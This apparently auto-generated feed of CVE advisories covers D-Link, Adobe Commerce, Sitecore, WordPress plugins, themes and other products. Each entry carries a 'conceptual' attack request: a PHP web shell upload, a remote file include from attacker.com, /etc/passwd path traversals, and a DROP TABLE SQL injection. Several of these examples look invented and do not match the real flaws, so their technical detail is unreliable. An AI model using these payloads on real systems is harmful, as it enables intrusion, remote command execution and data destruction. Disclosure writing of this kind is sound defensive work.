Author: Ameeba

Overview

The vulnerability in focus, CVE-2025-45784, is a critical security flaw found in D-Link DPH-400S/SE VoIP Phone v1.01. The device contains hardcoded provisioning variables, which include sensitive user credentials like PROVIS_USER_PASSWORD. This vulnerability is dangerous as it could potentially expose sensitive user data and allow unauthorized access to device functions or user accounts.
This vulnerability is particularly relevant to organizations and individuals who use the affected D-Link VoIP phone. In the wrong hands, this vulnerability can lead to serious security breaches, including system compromise and data leakage. Thus, it is crucial to understand the nature of this vulnerability and take appropriate measures to mitigate its impact.

Vulnerability Summary

CVE ID: CVE-2025-45784
Severity: Critical (9.8 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to device functions or user accounts, potential system compromise or data leakage

Affected Products

Product | Affected Versions

D-Link DPH-400S/SE VoIP Phone | v1.01

How the Exploit Works

An attacker with access to the firmware image can extract the hardcoded credentials using static analysis tools such as strings or xxd. These tools can scan the firmware binary to identify and extract strings that resemble user credentials. Once the attacker has these credentials, they can potentially gain unauthorized access to device functions or user accounts.

Conceptual Example Code

Given below is a
conceptual
example using the `strings` command in Linux to extract the hardcoded credentials from the firmware image:

$ strings firmware_image.bin | grep PROVIS_USER_PASSWORD

This command scans the binary file firmware_image.bin and searches for the string “PROVIS_USER_PASSWORD”. If the hardcoded credentials are present, this command will output them to the console.

Mitigation Guidance

To protect against this vulnerability, users of the affected D-Link VoIP Phone should apply the vendor’s patch as soon as possible. If a patch is not available or cannot be applied immediately, a web application firewall (WAF) or an intrusion detection system (IDS) can be used as a temporary measure to detect and block exploitation attempts. Furthermore, organizations should follow best practices for firmware security, including regularly updating firmware and minimizing the use of hardcoded credentials.

Overview

The cybersecurity landscape has been riddled recently with another high-severity vulnerability, CVE-2025-46157, affecting EfroTech’s Time Trax v.1.0 software. This vulnerability allows for remote code execution by an attacker, leading to potential system compromise or data leakage. As Time Trax is widely used for managing company time and attendance, this vulnerability could potentially affect a wide range of organizations, from small businesses to large corporations, putting sensitive data at risk.

Vulnerability Summary

CVE ID: CVE-2025-46157
Severity: Critical (CVSS: 9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

EfroTech Time Trax | v.1.0

How the Exploit Works

The vulnerability exists in the file attachment function of the leave request form in Time Trax. An attacker can exploit this vulnerability by sending a malicious script or file which, when processed by the application, executes arbitrary code. This could lead to an attacker gaining unauthorized control over the system or the leakage of sensitive information.

Conceptual Example Code

Here’s a hypothetical example of how an attacker might exploit this vulnerability using an HTTP POST request to upload a malicious file:

POST /fileUpload/leaveRequest HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/php
<?php
echo shell_exec($_GET['cmd']);
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, the attacker uploads a PHP script that allows them to execute arbitrary shell commands on the server. The attacker could then run any command by simply sending a GET request to the uploaded file with their command as a parameter.

Mitigation and Prevention

Until EfroTech releases a patch to fix this vulnerability, organizations can mitigate the risk by implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to filter out malicious requests. Regularly auditing and updating security protocols, as well as educating employees on the importance of cybersecurity, can also help prevent such exploits.

Overview

The cybersecurity world is abuzz with the discovery of a new vulnerability found in several versions of Adobe Commerce, affecting a large number of e-commerce sites globally. This threat, identified as CVE-2025-43586, is a serious concern due to its potential for privilege escalation, a scenario where an attacker with minimal access rights can bypass security measures to gain unauthorized elevated access. The severity of this vulnerability and the potential for system compromise or data leakage necessitates immediate attention and remediation.

Vulnerability Summary

CVE ID: CVE-2025-43586
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Adobe Commerce | 2.4.8, 2.4.7-p5, 2.4.6-p10, 2.4.5-p12, 2.4.4-p13 and earlier versions

How the Exploit Works

The vulnerability lies in the Improper Access Control mechanism within Adobe Commerce. An attacker, even with low-level privileges, can exploit this vulnerability by sending specially crafted requests to the system. These requests could potentially bypass the security protocols set up in the system, allowing the attacker to escalate their privileges. With elevated access, the attacker could then have the ability to manipulate data, alter system configurations, and even gain control of the entire system-all without requiring any user interaction.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability. The specific details would depend on the system configuration and the attacker’s knowledge.

POST /admin/login HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"username": "low_privileged_user",
"password": "guessable_password",
"elevated_access": "true"
}

In this example, the attacker is attempting to log in to the system using a low-privileged user account. The `”elevated_access”: “true”` part of the request is the malicious payload that attempts to take advantage of the vulnerability, thereby granting the attacker elevated privileges.

Mitigation

Given the severity of this vulnerability, it is recommended that affected users apply the vendor patch as soon as it’s available. In the interim, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as a temporary mitigation measure, helping to detect and prevent potential exploit attempts. Users should also review their system configurations and user access policies, reducing privileges where possible and enforcing strong password policies to mitigate the risk of brute force attacks.

Overview

CVE-2025-49454 is a severe cybersecurity vulnerability that centers on an Improper Control of Filename for Include/Require Statement in PHP Program, specifically, a ‘PHP Remote File Inclusion’ vulnerability in the LoftOcean TinySalt plugin. This vulnerability is of significant concern as it allows PHP Local File Inclusion, potentially leading to system compromise or data leakage. Given the widespread use of LoftOcean’s TinySalt, a vast number of systems and applications may be at risk, thus highlighting the urgent need for awareness and mitigation of this issue.

Vulnerability Summary

CVE ID: CVE-2025-49454
Severity: Critical (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

TinySalt | Before 3.10.0

How the Exploit Works

The CVE-2025-49454 vulnerability is due to an improper control of the filename for the Include/Require statement in the PHP program of LoftOcean’s TinySalt. This vulnerability allows an attacker to use remote file inclusion, which can lead to local file inclusion. In essence, the attacker can manipulate the PHP code to include files from remote servers. This allows the attacker to execute arbitrary PHP code within the application, leading to potential system compromise and data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example uses a simple HTTP POST request to inject malicious PHP code into the TinySalt application.

POST /vulnerable_endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_path=http://attacker.com/malicious_file.php

In this example, ‘http://attacker.com/malicious_file.php’ is a PHP file hosted on the attacker’s server. This file contains malicious PHP code which, when included in the application’s code, can lead to system compromise or data leakage.

Mitigation Guidance

To mitigate this vulnerability, it is highly recommended to apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. By configuring these tools to block or alert on attempts to exploit this vulnerability, one can significantly reduce the risk of a successful attack. However, these methods should only be seen as temporary solutions, and updating to a version of TinySalt that isn’t affected by this vulnerability should be a priority.

Overview

Lablup’s BackendAI, a popular AI management solution, has a critical vulnerability identified as CVE-2025-49651. This vulnerability allows attackers to take over all active sessions, thereby accessing, stealing, or altering any data accessible in the session. All current versions of BackendAI are affected, making a large portion of AI servers vulnerable. This issue is significant due to the potential system compromise and data leakage that could occur if successfully exploited, posing a severe risk to the integrity and confidentiality of sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-49651
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

BackendAI | All current versions

How the Exploit Works

The CVE-2025-49651 exploit takes advantage of a missing authorization check in BackendAI’s session management. This flaw allows attackers to remotely seize control of any active session by simply sending specially crafted network requests. Once a session is hijacked, the attacker has unrestricted access to all data and resources within the session, leading to potential system compromise and data leakage.

Conceptual Example Code

The following conceptual example demonstrates how this vulnerability might be exploited. This is a sample HTTP request, which an attacker might use to hijack an active session:

GET /BackendAI/sessionID12345/takeover HTTP/1.1
Host: vulnerable.example.com
Content-Type: application/json
{"session_control": "hijack"}

Mitigation and Prevention

Users of BackendAI should immediately apply the vendor-provided patch to remediate this vulnerability. If the patch cannot be applied immediately, users are advised to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. These systems can detect and block attempts to exploit this vulnerability.
Remember, in the realm of cybersecurity, staying updated is equally as important as staying informed. Therefore, system administrators are always advised to keep software and security systems up-to-date to protect against the latest known vulnerabilities.

Overview

CVE-2025-49297 is a significant cybersecurity vulnerability that affects the popular Mikado-Themes Grill and Chow. This vulnerability is a path traversal flaw that allows PHP Local File Inclusion. This means that a potential attacker could manipulate the software to access sensitive files and data outside of the intended directory path, leading to potential system compromise or data leakage. As the Grill and Chow themes are commonly used by many websites, this vulnerability represents a significant risk to a wide range of web applications.

Vulnerability Summary

CVE ID: CVE-2025-49297
Severity: High (8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Mikado-Themes Grill | n/a through 1.6
Mikado-Themes Chow | n/a through 1.6

How the Exploit Works

The exploit takes advantage of a path traversal vulnerability in the Grill and Chow themes. By manipulating the file path inputs, an attacker can trick the system into accessing files outside of the intended directory. This can lead to the inclusion of arbitrary local PHP files, which an attacker can use to execute malicious code, gain unauthorized access to sensitive data or even compromise the system.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. Note that this is a simplified example and the actual exploit may involve more complex manipulations.

GET /vulnerable/path?file=../../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker is attempting to access the ‘/etc/passwd’ file, which is located several directories above the intended path. If successful, this could allow the attacker access to sensitive system information.

Recommended Mitigation Strategies

Affected users are advised to apply the vendor patch as soon as possible to rectify the vulnerability. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by monitoring and blocking potential path traversal attacks. Regularly updating your software and implementing robust security measures will significantly reduce the risk of a successful exploit.

Overview

CVE-2025-49296 is a severe security vulnerability found in Mikado-Themes GrandPrix, a widely used theme in the world of content management systems. This vulnerability, classified as a Path Traversal vulnerability, allows for PHP Local File Inclusion (LFI). This means that attackers could potentially manipulate a web application to read, write, or execute arbitrary files on the server’s filesystem, leading to a system compromise or leakage of sensitive data. Given the popularity of the GrandPrix theme, this vulnerability could have a significant impact on a vast number of users and their data.

Vulnerability Summary

CVE ID: CVE-2025-49296
Severity: High (8.1 / CVSS 3.x)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

GrandPrix (Mikado-Themes) | Through 1.6

How the Exploit Works

The Path Traversal vulnerability in Mikado-Themes GrandPrix is due to improper sanitization of user-supplied input. The application fails to properly validate the input for file paths, allowing an attacker to execute arbitrary PHP code on the server via a crafted request. This can lead to the inclusion of any file on the server, which may result in unauthorized access or manipulation of sensitive data.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited, using a crafted HTTP request:

GET /index.php?file=../../../../../etc/passwd HTTP/1.1
Host: vulnerable-server.com

In this example, the attacker is attempting to access the ‘/etc/passwd’ file, which is located at the root of the filesystem. If successful, the attacker could gain access to a list of all user accounts on the system.

Mitigation

Users of Mikado-Themes GrandPrix are strongly advised to apply the vendor patch as soon as possible to mitigate this vulnerability. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary measure to protect against potential exploits. Regularly updating and patching your systems, as well as ensuring proper input validation and sanitization, are key practices to prevent such vulnerabilities.

Overview

The vulnerability identified as CVE-2025-49295 is an alarming security issue that affects MediClinic, a product of Mikado-Themes. This vulnerability, a Path Traversal type, allows PHP Local File Inclusion-a serious threat that could potentially lead to a system compromise or data leakage. Given the widespread use of Mikado-Themes MediClinic, this vulnerability could have a significant impact on many systems and needs immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-49295
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Mikado-Themes MediClinic | All versions up to and including 2.1

How the Exploit Works

The Path Traversal vulnerability in Mikado-Themes MediClinic allows an attacker to include local files through PHP, which could lead to unauthorized access to sensitive information or even system compromise. The attacker can manipulate variables that reference files with the “dot-dot-slash (../)” sequences and its variations, leading to access to arbitrary files and directories stored on the system servers.

Conceptual Example Code

The following conceptual example illustrates how the vulnerability might be exploited:

GET /path-to-mediclinic/?page=../../etc/passwd HTTP/1.1
Host: vulnerable-host.com

In this example, the attacker uses the “../” sequence to escape out of the intended directory and traverse to the /etc/passwd directory, a commonly targeted file in such attacks as it stores user password information on a Linux system.

Mitigation

The most immediate solution to address this vulnerability is to apply the vendor-supplied patch. If the patch is not yet available or cannot be applied immediately, temporary mitigation can be achieved using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These can be configured to detect and block attempts to exploit this vulnerability.
In the longer term, it is also recommended to review code for other potential path traversal vulnerabilities, and to ensure input is properly sanitized and validated to prevent such vulnerabilities from arising in the future.

Overview

In the ever-expanding realm of cybersecurity, a new vulnerability has been discovered that poses a significant threat to organizations using Sitecore Experience Manager (XM) and Experience Platform (XP). This vulnerability, identified as CVE-2025-34509, is a serious security flaw that allows unauthenticated and remote attackers to gain access to the administrative API over HTTP. This vulnerability is significant due to the potential for system compromise and data leakage, posing a grave risk to the confidentiality and integrity of an organization’s data.

Vulnerability Summary

CVE ID: CVE-2025-34509
Severity: High (CVSS Score 8.2)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Sitecore Experience Manager (XM) | 10.1 to 10.1.4 rev. 011974 PRE, all versions of 10.2, 10.3 to 10.3.3 rev. 011967 PRE, and 10.4 to 10.4.1 rev. 011941 PRE
Sitecore Experience Platform (XP) | 10.1 to 10.1.4 rev. 011974 PRE, all versions of 10.2, 10.3 to 10.3.3 rev. 011967 PRE, and 10.4 to 10.4.1 rev. 011941 PRE

How the Exploit Works

The vulnerability stems from the existence of a hardcoded user account within the Sitecore XM and XP. This hardcoded user account allows unauthenticated users to remotely access the administrative API over HTTP. This type of access can potentially give an attacker the ability to execute arbitrary commands on the system, access sensitive data, or even compromise the entire system.

Conceptual Example Code

Here’s a
conceptual
example of how an attacker might exploit this vulnerability via an HTTP request:

POST /api/admin HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"username": "hardcoded_user",
"password": "hardcoded_password"
}

In the above example, the attacker uses the hardcoded user credentials (`”hardcoded_user”` and `”hardcoded_password”`) to gain unauthorized access to the administrative API. Once authenticated, the attacker can potentially perform administrative tasks, access sensitive data, or compromise the system.
Please note that the above example is purely conceptual and does not represent actual hardcoded credentials or specific API endpoints in Sitecore XM and XP.

Recommendation for Mitigation

Users of the affected versions of Sitecore XM and XP are strongly recommended to apply the vendor-supplied patch to resolve this vulnerability. As a temporary mitigation, organizations can also implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent exploit attempts.
Stay safe out there, and always adhere to the best practices of cybersecurity to protect your systems and data.

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a significant vulnerability in WpExperts Hub Woocommerce Partial Shipment, labelled as CVE-2025-48118. This vulnerability affects all versions of Woocommerce Partial Shipment up to and including 3.2. It’s a SQL Injection vulnerability, which means an attacker could potentially execute arbitrary SQL commands on the underlying database, leading to a myriad of potential issues including data theft, data manipulation, and even system compromise.
This vulnerability is particularly concerning due to the widespread use of Woocommerce Partial Shipment, increasing the number of potential targets. SQL Injection vulnerabilities can often lead to severe data breaches, making them a top priority for cybersecurity professionals.

Vulnerability Summary

CVE ID: CVE-2025-48118
Severity: High (8.5 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WpExperts Hub Woocommerce Partial Shipment | n/a through 3.2

How the Exploit Works

The SQL Injection vulnerability in WpExperts Hub Woocommerce Partial Shipment allows an attacker to inject malicious SQL queries into the application. This is possible due to the software’s improper neutralization of special elements used in an SQL command. This means that if an attacker can control the input of these SQL commands, they can manipulate the query to their advantage, potentially gaining unauthorized access to sensitive data or even executing commands on the host system.

Conceptual Example Code

Here is an example of how the vulnerability might be exploited:

POST /submitOrder HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
orderId=1234'; DROP TABLE Orders; --

In this example, the attacker appends a malicious SQL command to the ‘orderId’ parameter in the HTTP request. As the software does not correctly neutralize special elements, this results in the SQL command ‘DROP TABLE Orders;’ being executed, which deletes the entire ‘Orders’ table from the database.
Remember, this is a conceptual example and the actual exploit may vary based on the specific configuration and usage of the Woocommerce Partial Shipment software.

Mitigation

Users of WpExperts Hub Woocommerce Partial Shipment are advised to immediately apply the vendor patch to fix this vulnerability. If a patch is not available or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation by identifying and blocking SQL injection attempts.